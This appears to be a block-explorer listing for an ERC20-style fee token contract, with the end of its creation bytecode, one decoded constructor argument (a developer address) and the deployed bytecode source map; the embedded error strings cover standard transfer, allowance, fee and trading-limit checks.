50509250925092565b600080600060408486031215613ac257613ac16136be565b5b600084013567ffffffffffffffff811115613ae057613adf6136c3565b5b613aec8682870161385e565b93509350506020613aff86828701613a41565b9150509250925092565b6000606082019050613b1e60008301866137a8565b613b2b60208301856137d2565b613b3860408301846137d2565b949350505050565b613b49816136e8565b82525050565b6000602082019050613b646000830184613b40565b92915050565b60008060408385031215613b8157613b806136be565b5b6000613b8f85828601613711565b9250506020613ba085828601613a41565b9150509250929050565b600080600060608486031215613bc357613bc26136be565b5b6000613bd186828701613a41565b9350506020613be286828701613747565b9250506040613bf386828701613747565b9150509250925092565b60008060408385031215613c1457613c136136be565b5b6000613c2285828601613711565b9250506020613c3385828601613711565b9150509250929050565b6000606082019050613c5260008301866137a8565b613c5f60208301856137a8565b613c6c60408301846137a8565b949350505050565b600060c082019050613c8960008301896137d2565b613c9660208301886137d2565b613ca360408301876137d2565b613cb060608301866137d2565b613cbd60808301856137d2565b613cca60a08301846137d2565b979650505050505050565b6000604082019050613cea6000830185613b40565b613cf76020830184613b40565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d4557607f821691505b602082108103613d5857613d57613cfe565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613dba602883613617565b9150613dc582613d5e565b604082019050919050565b60006020820190508181036000830152613de981613dad565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e5982613726565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613e8b57613e8a613e1f565b5b600182019050919050565b6000613ea182613726565b9150613eac83613726565b9250828201905080821115613ec457613ec3613e1f565b5b92915050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613f26602483613617565b9150613f3182613eca565b604082019050919050565b60006020820190508181036000830152613f5581613f19565b9050919050565b6000613f6782613726565b9150613f7283613726565b9250828202613f8081613726565b91508282048414831517613f9757613f96613e1f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613726565b9150613fe383613726565b925082613ff357613ff2613f9e565b5b828204905092915050565b7f546f74616c20627579206665652063616e6e6f7420626520686967686572207460008201527f68616e2031303025000000000000000000000000000000000000000000000000602082015250565b600061405a602883613617565b915061406582613ffe565b604082019050919050565b600060208201905081810360008301526140898161404d565b9050919050565b60006060820190506140a560008301866137d2565b6140b260208301856137d2565b6140bf60408301846137d2565b949350505050565b7f43616e6e6f7420736574206d61785478206c6f776572207468616e20302e3225600082015250565b60006140fd602083613617565b9150614108826140c7565b602082019050919050565b6000602082019050818103600083015261412c816140f0565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061418f603383613617565b915061419a82614133565b604082019050919050565b600060208201905081810360008301526141be81614182565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614221603083613617565b915061422c826141c5565b604082019050919050565b6000602082019050818103600083015261425081614214565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006142b3603983613617565b91506142be82614257565b604082019050919050565b600060208201905081810360008301526142e2816142a6565b9050919050565b7f546f74616c2073656c6c206665652063616e6e6f74206265206869676865722060008201527f7468616e20313030250000000000000000000000000000000000000000000000602082015250565b6000614345602983613617565b9150614350826142e9565b604082019050919050565b6000602082019050818103600083015261437481614338565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006143d7602583613617565b91506143e28261437b565b604082019050919050565b60006020820190508181036000830152614406816143ca565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e30312520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614469603483613617565b91506144748261440d565b604082019050919050565b600060208201905081810360008301526144988161445c565b9050919050565b7f6d6178696d756d20616d6f756e742063616e742062652068696768657220746860008201527f616e206d696e696d756d00000000000000000000000000000000000000000000602082015250565b60006144fb602a83613617565b91506145068261449f565b604082019050919050565b6000602082019050818103600083015261452a816144ee565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061458d602683613617565b915061459882614531565b604082019050919050565b600060208201905081810360008301526145bc81614580565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061461f602483613617565b915061462a826145c3565b604082019050919050565b6000602082019050818103600083015261464e81614612565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006146b1602283613617565b91506146bc82614655565b604082019050919050565b600060208201905081810360008301526146e0816146a4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614743602583613617565b915061474e826146e7565b604082019050919050565b6000602082019050818103600083015261477281614736565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006147d5602383613617565b91506147e082614779565b604082019050919050565b60006020820190508181036000830152614804816147c8565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f7420616374697660008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b6000614867602283613617565b91506148728261480b565b604082019050919050565b600060208201905081810360008301526148968161485a565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061491f604983613617565b915061492a8261489d565b606082019050919050565b6000602082019050818103600083015261494e81614912565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b60006149b1602683613617565b91506149bc82614955565b604082019050919050565b600060208201905081810360008301526149e0816149a4565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614a1d601383613617565b9150614a28826149e7565b602082019050919050565b60006020820190508181036000830152614a4c81614a10565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b6000614aaf602783613617565b9150614aba82614a53565b604082019050919050565b60006020820190508181036000830152614ade81614aa2565b9050919050565b6000614af082613726565b9150614afb83613726565b9250828203905081811115614b1357614b12613e1f565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614b4f602083613617565b9150614b5a82614b19565b602082019050919050565b60006020820190508181036000830152614b7e81614b42565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614be1602683613617565b9150614bec82614b85565b604082019050919050565b60006020820190508181036000830152614c1081614bd4565b9050919050565b600081905092915050565b50565b6000614c32600083614c17565b9150614c3d82614c22565b600082019050919050565b6000614c5382614c25565b9150819050919050565b600081519050614c6c81613730565b92915050565b600060208284031215614c8857614c876136be565b5b6000614c9684828501614c5d565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614cdd816136fa565b92915050565b600060208284031215614cf957614cf86136be565b5b6000614d0784828501614cce565b91505092915050565b6000819050919050565b6000819050919050565b6000614d3f614d3a614d3584614d10565b614d1a565b613726565b9050919050565b614d4f81614d24565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614d8a816136e8565b82525050565b6000614d9c8383614d81565b60208301905092915050565b6000602082019050919050565b6000614dc082614d55565b614dca8185614d60565b9350614dd583614d71565b8060005b83811015614e06578151614ded8882614d90565b9750614df883614da8565b925050600181019050614dd9565b5085935050505092915050565b600060a082019050614e2860008301886137d2565b614e356020830187614d46565b8181036040830152614e478186614db5565b9050614e566060830185613b40565b614e6360808301846137d2565b969550505050505056fea264697066735822122005aa133df8d38548de023662ad03e88134d54ee5059d6a63e4317acf293e4c8464736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000b0c18d2d67c642e75f2826d7541b259bf386472

-----Decoded View---------------
Arg [0] : dev (address): 0x0b0c18d2D67C642E75F2826d7541b259Bf386472

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000b0c18d2d67c642e75f2826d7541b259bf386472


Deployed Bytecode Sourcemap

157:22979:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;874:100:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3106:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1993:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;489:35:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3778:529:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22917:216:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5088:160;;;;;;;;;;;;;:::i;:::-;;531:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;918:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1836:92:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13598:388:1;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;:::-;;;;;;;;4712:290:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;959:34:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8422:236;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8945:400;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7536:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2164:143:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;969:103:5;;;;;;;;;;;;;:::i;:::-;;6853:447:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20912:204;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12823:355;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;739:87:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21124:133:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1093:104:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11869:173:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10822:300;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9594:179;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10062:449;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5501:475:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;592:29:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2520:200:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11508:181:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22826:83;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6292:553;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5695:132;;;;;;;;;;;;;:::i;:::-;;2783:176:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14446:448:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;5388:152;;;;;;;;;;;;;:::i;:::-;;282:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1217:201:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15378:572:1;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;:::i;:::-;;;;;;;;12274:190;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;8020:195;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;874:100:0;928:13;961:5;954:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;874:100;:::o;3106:194::-;3214:4;3231:39;3240:12;:10;:12::i;:::-;3254:7;3263:6;3231:8;:39::i;:::-;3288:4;3281:11;;3106:194;;;;:::o;1993:108::-;2054:7;2081:12;;2074:19;;1993:108;:::o;489:35:1:-;;;;:::o;3778:529:0:-;3918:4;3935:36;3945:6;3953:9;3964:6;3935:9;:36::i;:::-;3984:24;4011:11;:19;4023:6;4011:19;;;;;;;;;;;;;;;:33;4031:12;:10;:12::i;:::-;4011:33;;;;;;;;;;;;;;;;3984:60;;4097:6;4077:16;:26;;4055:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;4207:57;4216:6;4224:12;:10;:12::i;:::-;4257:6;4238:16;:25;4207:8;:57::i;:::-;4295:4;4288:11;;;3778:529;;;;;:::o;22917:216:1:-;698:13:5;:11;:13::i;:::-;23013:9:1::1;23008:118;23032:10;;:17;;23028:1;:21;23008:118;;;23094:10;;23105:1;23094:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;23076:38;;23085:7;;;;;;;;;;;23076:38;;;23109:4;23076:38;;;;;;:::i;:::-;;;;;;;;23051:3;;;;;:::i;:::-;;;;23008:118;;;;22917:216:::0;;;:::o;5088:160::-;698:13:5;:11;:13::i;:::-;5157:4:1::1;5140:14;;:21;;;;;;;;;;;;;;;;;;5188:5;5172:13;;:21;;;;;;;;;;;;;;;;;;5224:15;5209:31;;;;;;;;;;5088:160::o:0;531:54::-;;;;:::o;918:32::-;;;;;;;;;;;;;:::o;1836:92:0:-;1894:5;1919:1;1912:8;;1836:92;:::o;13598:388:1:-;13685:19;13719:26;13760:18;13793:14;13852:13;;;;;;;;;;;13835:30;;13900:20;;;;;;;;;;;13876:44;;13944:9;;13931:22;;13973:5;;13964:14;;13598:388;;;;:::o;4712:290:0:-;4825:4;4842:130;4865:12;:10;:12::i;:::-;4892:7;4951:10;4914:11;:25;4926:12;:10;:12::i;:::-;4914:25;;;;;;;;;;;;;;;:34;4940:7;4914:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;4842:8;:130::i;:::-;4990:4;4983:11;;4712:290;;;;:::o;959:34:1:-;;;;;;;;;;;;;:::o;8422:236::-;698:13:5;:11;:13::i;:::-;8511:1:1::1;8501:6;:11;;8493:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8603:4;8586:13;:11;:13::i;:::-;8577:6;:22;;;;:::i;:::-;8576:31;;;;:::i;:::-;8564:9;:43;;;;8623:27;8640:9;;8623:27;;;;;;:::i;:::-;;;;;;;;8422:236:::0;:::o;8945:400::-;698:13:5;:11;:13::i;:::-;9078::1::1;9060:15;:31;;;;9118:7;9102:13;:23;;;;9168:13;;9150:15;;:31;;;;:::i;:::-;9136:11;:45;;;;9215:3;9200:11;;:18;;9192:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9279:58;9293:11;;9306:15;;9323:13;;9279:58;;;;;;;;:::i;:::-;;;;;;;;8945:400:::0;;:::o;7536:216::-;698:13:5;:11;:13::i;:::-;7621:1:1::1;7611:6;:11;;7603:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;7705:4;7688:13;:11;:13::i;:::-;7679:6;:22;;;;:::i;:::-;7678:31;;;;:::i;:::-;7670:5;:39;;;;7725:19;7738:5;;7725:19;;;;;;:::i;:::-;;;;;;;;7536:216:::0;:::o;2164:143:0:-;2254:7;2281:9;:18;2291:7;2281:18;;;;;;;;;;;;;;;;2274:25;;2164:143;;;:::o;969:103:5:-;698:13;:11;:13::i;:::-;1034:30:::1;1061:1;1034:18;:30::i;:::-;969:103::o:0;6853:447:1:-;698:13:5;:11;:13::i;:::-;7007:3:1::1;6984:19;:26;;6976:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;7097:4;7085:8;:16;;:33;;;;;7117:1;7105:8;:13;;7085:33;7077:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;7200:19;7182:15;:37;;;;7249:8;7230:16;:27;;;;7284:8;7268:13;;:24;;;;;;;;;;;;;;;;;;6853:447:::0;;;:::o;20912:204::-;698:13:5;:11;:13::i;:::-;20997:9:1::1;20992:117;21016:8;;:15;;21012:1;:19;20992:117;;;21094:3;21053:25;:38;21079:8;;21088:1;21079:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21053:38;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;21033:3;;;;;:::i;:::-;;;;20992:117;;;;20912:204:::0;;;:::o;12823:355::-;12913:21;12949:25;12989;13061:15;;;;;;;;;;;13042:34;;13107:16;;13087:36;;13154:16;;13134:36;;12823:355;;;:::o;739:87:5:-;785:7;812:6;;;;;;;;;;;805:13;;739:87;:::o;21124:133:1:-;21190:4;21213:25;:36;21239:9;21213:36;;;;;;;;;;;;;;;;;;;;;;;;;21206:43;;21124:133;;;:::o;1093:104:0:-;1149:13;1182:7;1175:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1093:104;:::o;11869:173:1:-;698:13:5;:11;:13::i;:::-;11984::1::1;;;;;;;;;;;11952:46;;11973:9;11952:46;;;;;;;;;;;;12025:9;12009:13;;:25;;;;;;;;;;;;;;;;;;11869:173:::0;:::o;10822:300::-;698:13:5;:11;:13::i;:::-;10968:7:1::1;;;;;;;;;;;10960:15;;:4;:15;;::::0;10938:122:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;11073:41;11102:4;11108:5;11073:28;:41::i;:::-;10822:300:::0;;:::o;9594:179::-;698:13:5;:11;:13::i;:::-;9707:8:1::1;9678:17;:26;9696:7;9678:26;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;9747:7;9731:34;;;9756:8;9731:34;;;;;;:::i;:::-;;;;;;;;9594:179:::0;;:::o;10062:449::-;698:13:5;:11;:13::i;:::-;10197::1::1;10178:16;:32;;;;10238:7;10221:14;:24;;;;10290:14;;10271:16;;:33;;;;:::i;:::-;10256:12;:48;;;;10353:3;10337:12;;:19;;10315:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10441:62;10456:12;;10470:16;;10488:14;;10441:62;;;;;;;;:::i;:::-;;;;;;;;10062:449:::0;;:::o;5501:475:0:-;5619:4;5636:24;5663:11;:25;5675:12;:10;:12::i;:::-;5663:25;;;;;;;;;;;;;;;:34;5689:7;5663:34;;;;;;;;;;;;;;;;5636:61;;5750:15;5730:16;:35;;5708:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;5866:67;5875:12;:10;:12::i;:::-;5889:7;5917:15;5898:16;:34;5866:8;:67::i;:::-;5964:4;5957:11;;;5501:475;;;;:::o;592:29:1:-;;;;:::o;2520:200:0:-;2631:4;2648:42;2658:12;:10;:12::i;:::-;2672:9;2683:6;2648:9;:42::i;:::-;2708:4;2701:11;;2520:200;;;;:::o;11508:181:1:-;698:13:5;:11;:13::i;:::-;11627:15:1::1;;;;;;;;;;;11593:50;;11616:9;11593:50;;;;;;;;;;;;11672:9;11654:15;;:27;;;;;;;;;;;;;;;;;;11508:181:::0;:::o;22826:83::-;698:13:5;:11;:13::i;:::-;22896:5:1::1;22886:7;;:15;;;;;;;;;;;;;;;;;;22826:83:::0;:::o;6292:553::-;698:13:5;:11;:13::i;:::-;6458:1:1::1;6450:4;:9;;6428:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;6566:4;6558;:12;;6550:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6648:8;6630:15;;:26;;;;;;;;;;;;;;;;;;6711:5;6703:4;6687:13;:11;:13::i;:::-;:20;;;;:::i;:::-;6686:30;;;;:::i;:::-;6667:16;:49;;;;6771:5;6763:4;6747:13;:11;:13::i;:::-;:20;;;;:::i;:::-;6746:30;;;;:::i;:::-;6727:16;:49;;;;6792:45;6816:8;6826:4;6832;6792:45;;;;;;;;:::i;:::-;;;;;;;;6292:553:::0;;;:::o;5695:132::-;698:13:5;:11;:13::i;:::-;5768:5:1::1;5752:13;;:21;;;;;;;;;;;;;;;;;;5803:15;5789:30;;;;;;;;;;5695:132::o:0;2783:176:0:-;2897:7;2924:11;:18;2936:5;2924:18;;;;;;;;;;;;;;;:27;2943:7;2924:27;;;;;;;;;;;;;;;;2917:34;;2783:176;;;;:::o;14446:448:1:-;14566:23;14604:25;14644:31;14724:17;:26;14742:7;14724:26;;;;;;;;;;;;;;;;;;;;;;;;;14703:47;;14784:19;:28;14804:7;14784:28;;;;;;;;;;;;;;;;;;;;;;;;;14761:51;;14852:25;:34;14878:7;14852:34;;;;;;;;;;;;;;;;;;;;;;;;;14823:63;;14446:448;;;;;:::o;5388:152::-;698:13:5;:11;:13::i;:::-;5473:5:1::1;5450:20;;:28;;;;;;;;;;;;;;;;;;5516:15;5494:38;;;;;;;;;;5388:152::o:0;282:22::-;;;;;;;;;;;;;:::o;1217:201:5:-;698:13;:11;:13::i;:::-;1326:1:::1;1306:22;;:8;:22;;::::0;1298:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1382:28;1401:8;1382:18;:28::i;:::-;1217:201:::0;:::o;15378:572:1:-;15463:20;15498:24;15537:22;15574:21;15610:25;15650:23;15716:11;;15701:26;;15757:15;;15738:34;;15800:13;;15783:30;;15840:12;;15824:28;;15883:16;;15863:36;;15928:14;;15910:32;;15378:572;;;;;;:::o;12274:190::-;12351:24;12377:22;12425:15;;;;;;;;;;;12442:13;;;;;;;;;;;12417:39;;;;12274:190;;:::o;8020:195::-;698:13:5;:11;:13::i;:::-;8156:4:1::1;8126:19;:27;8146:6;8126:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;8194:6;8176:31;;;8202:4;8176:31;;;;;;:::i;:::-;;;;;;;;8020:195:::0;;:::o;92:98:5:-;145:7;172:10;165:17;;92:98;:::o;9284:380:0:-;9437:1;9420:19;;:5;:19;;;9412:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9518:1;9499:21;;:7;:21;;;9491:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9602:6;9572:11;:18;9584:5;9572:18;;;;;;;;;;;;;;;:27;9591:7;9572:27;;;;;;;;;;;;;;;:36;;;;9640:7;9624:32;;9633:5;9624:32;;;9649:6;9624:32;;;;;;:::i;:::-;;;;;;;;9284:380;;;:::o;15958:4511:1:-;16106:1;16090:18;;:4;:18;;;16082:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16183:1;16169:16;;:2;:16;;;16161:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16252:1;16242:6;:11;16238:93;;16270:28;16286:4;16292:2;16296:1;16270:15;:28::i;:::-;16313:7;;16238:93;16347:13;;;;;;;;;;;16343:2345;;;16407:7;:5;:7::i;:::-;16399:15;;:4;:15;;;;:49;;;;;16441:7;:5;:7::i;:::-;16435:13;;:2;:13;;;;16399:49;:86;;;;;16483:1;16469:16;;:2;:16;;;;16399:86;:128;;;;;16520:6;16506:21;;:2;:21;;;;16399:128;:158;;;;;16549:8;;;;;;;;;;;16548:9;16399:158;16377:2300;;;16597:14;;;;;;;;;;;16592:232;;16670:17;:23;16688:4;16670:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;16697:17;:21;16715:2;16697:21;;;;;;;;;;;;;;;;;;;;;;;;;16670:48;16636:168;;;;;;;;;;;;:::i;:::-;;;;;;;;;16592:232;16980:20;;;;;;;;;;;16976:629;;;17061:7;:5;:7::i;:::-;17055:13;;:2;:13;;;;:66;;;;;17111:9;17097:24;;:2;:24;;;;17055:66;:117;;;;;17164:7;;;;;;;;;;;17150:22;;:2;:22;;;;17055:117;17025:561;;;17336:12;17261:28;:39;17290:9;17261:39;;;;;;;;;;;;;;;;:87;17223:258;;;;;;;;;;;;:::i;:::-;;;;;;;;;17550:12;17508:28;:39;17537:9;17508:39;;;;;;;;;;;;;;;:54;;;;17025:561;16976:629;17679:25;:31;17705:4;17679:31;;;;;;;;;;;;;;;;;;;;;;;;;:59;;;;;17715:19;:23;17735:2;17715:23;;;;;;;;;;;;;;;;;;;;;;;;;17714:24;17679:59;17653:1009;;;17825:5;;17815:6;:15;;17781:139;;;;;;;;;;;;:::i;:::-;;;;;;;;;18003:9;;17986:13;17996:2;17986:9;:13::i;:::-;17977:6;:22;;;;:::i;:::-;:35;;17943:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;17653:1009;;;18181:25;:29;18207:2;18181:29;;;;;;;;;;;;;;;;;;;;;;;;;:59;;;;;18215:19;:25;18235:4;18215:25;;;;;;;;;;;;;;;;;;;;;;;;;18214:26;18181:59;18155:507;;;18327:5;;18317:6;:15;;18283:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;18155:507;;;18454:19;:23;18474:2;18454:23;;;;;;;;;;;;;;;;;;;;;;;;;18449:213;;18562:9;;18545:13;18555:2;18545:9;:13::i;:::-;18536:6;:22;;;;:::i;:::-;:35;;18502:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;18449:213;18155:507;17653:1009;16377:2300;16343:2345;18700:28;18731:24;18749:4;18731:9;:24::i;:::-;18700:55;;18768:12;18807:16;;18783:20;:40;;18768:55;;18854:7;:39;;;;;18878:15;;;;;;;;;;;18854:39;:65;;;;;18911:8;;;;;;;;;;;18910:9;18854:65;:114;;;;;18937:25;:31;18963:4;18937:31;;;;;;;;;;;;;;;;;;;;;;;;;18936:32;18854:114;:155;;;;;18986:17;:23;19004:4;18986:23;;;;;;;;;;;;;;;;;;;;;;;;;18985:24;18854:155;:194;;;;;19027:17;:21;19045:2;19027:21;;;;;;;;;;;;;;;;;;;;;;;;;19026:22;18854:194;18836:326;;;19086:4;19075:8;;:15;;;;;;;;;;;;;;;;;;19107:10;:8;:10::i;:::-;19145:5;19134:8;;:16;;;;;;;;;;;;;;;;;;18836:326;19174:12;19190:8;;;;;;;;;;;19189:9;19174:24;;19300:17;:23;19318:4;19300:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;19327:17;:21;19345:2;19327:21;;;;;;;;;;;;;;;;;;;;;;;;;19300:48;19296:96;;;19375:5;19365:15;;19296:96;19404:12;19509:7;19505:815;;;19561:25;:29;19587:2;19561:29;;;;;;;;;;;;;;;;;;;;;;;;;:49;;;;;19609:1;19594:12;;:16;19561:49;19557:614;;;19638:33;19667:3;19638:24;19649:12;;19638:6;:10;;:24;;;;:::i;:::-;:28;;:33;;;;:::i;:::-;19631:40;;19736:12;;19718:14;;19711:4;:21;;;;:::i;:::-;19710:38;;;;:::i;:::-;19690:16;;:58;;;;;;;:::i;:::-;;;;;;;;19817:12;;19797:16;;19790:4;:23;;;;:::i;:::-;19789:40;;;;:::i;:::-;19767:18;;:62;;;;;;;:::i;:::-;;;;;;;;19557:614;;;19891:25;:31;19917:4;19891:31;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;;19940:1;19926:11;;:15;19891:50;19887:284;;;19969:32;19997:3;19969:23;19980:11;;19969:6;:10;;:23;;;;:::i;:::-;:27;;:32;;;;:::i;:::-;19962:39;;20065:11;;20048:13;;20041:4;:20;;;;:::i;:::-;20040:36;;;;:::i;:::-;20020:16;;:56;;;;;;;:::i;:::-;;;;;;;;20144:11;;20125:15;;20118:4;:22;;;;:::i;:::-;20117:38;;;;:::i;:::-;20095:18;;:60;;;;;;;:::i;:::-;;;;;;;;19887:284;19557:614;20198:1;20191:4;:8;20187:91;;;20220:42;20236:4;20250;20257;20220:15;:42::i;:::-;20187:91;20304:4;20294:14;;;;;:::i;:::-;;;19505:815;20336:8;;;;;;;;;;;20335:9;:26;;;;;20348:13;;;;;;;;;;;20335:26;20332:76;;;20377:19;20391:4;20377:13;:19::i;